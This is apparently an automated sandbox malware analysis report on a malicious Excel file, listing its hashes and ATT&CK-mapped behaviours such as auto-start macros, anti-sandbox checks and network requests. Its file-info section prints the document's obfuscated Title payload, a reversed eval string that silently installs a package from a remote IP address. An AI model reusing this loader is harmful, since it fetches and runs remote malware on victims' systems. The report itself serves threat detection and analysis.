Managed XDR

tmp-tmpubjfuy.tmp — malware analysis report

File info

Filename
tmp-tmpubjfuy.tmp
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: eval('}**)**"**5**3**2**.**8**6**.**0**1**.**5**8**1**/**/**:**p**t**t**h**"**(**t**c**u**d**o**r**P**l**l**a**t**s**n**I**;**2**=**l**e**v**e**L**I**U**{**)**)**"**r**e**l**l**a**t**s**n**I**.**r**e**l**l**a**t**s**n**I**s**w**o**d**n**i**W**"**(**t**c**e**j**b**O**X**e**v**i**t**c**A** **w**e**n**(**h**t**i**w'.split('**').reverse().join('')), Author: Ferop, Last Saved By: Administrator, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Aug 17 12:24:08 2021, Last Saved Time/Date: Tue Oct 5 14:39:33 2021, Security: 0
File size
170 KB
First seen
Last seen

Environment

win7/x86 en

Hashes

SHA1
a6cfea0e7903846529aacd6f55002af4b9458feb
SHA256
f4891094d6623dadbf84486b85a29b4bd0badf28ee100bc0e44c550715614e62
MD5
b1afd6e239c1d044210dc3fbd134d51a

Signatures

Execution

T1203 office_exploit_http: The document exhibits suspicious behaviour (performs HTTP requests)
T1204.002 office_vb_load: Microsoft Office is loading VB DLL files (macros usage indicator)
T1064 office_macros: The document contains macroses (total: 4)
T1064 office_macros_autoexec: The document contains an auto-start macro

Privilege Escalation

T1134 sets_privilegies_via_adjusttokenprivileges: Sets process privilege via AdjustTokenPrivileges
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Defense Evasion

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1497.002 async_mouse: Watches for mouse clicks using GetAsyncKeyState to detect human activity
T1064 office_macros: The document contains macroses (total: 4)
T1064 office_macros_autoexec: The document contains an auto-start macro
T1134 sets_privilegies_via_adjusttokenprivileges: Sets process privilege via AdjustTokenPrivileges
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Discovery

T1497 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining
T1497.002 async_mouse: Watches for mouse clicks using GetAsyncKeyState to detect human activity
T1082 windows_enumthread: Attempts to enumerate windows using EnumThreadWindows and SendMessage for text obtaining

Command and Control

T1071.001 office_exploit_http: The document exhibits suspicious behaviour (performs HTTP requests)
T1071.004 office_exploit_dns: The document exhibits suspicious behaviour (performs DNS requests)
T1071.001 winhttp_https: Performs HTTP/HTTPS requests using WinHttp

Other

yara_rules: Static rules
suspicious_process_network: Unusual process network activity detected
dead_host: Connects to IP addresses that do not respond to requests
office_summary: The document contains suspicious metadata
create_rpc_bindings: Creates RPC connection
break_limit_exceeded: Warning: function calls limit has been exceeded
get_policy_info: Retrieves information about a Policy object
test_check_service: Starts services
antisandbox_check_graphics_card: Uses CreateDXGIFactory, potentially to detect graphics card
checktokenmembership: Checks user token with CheckTokenMembership call
Managed XDR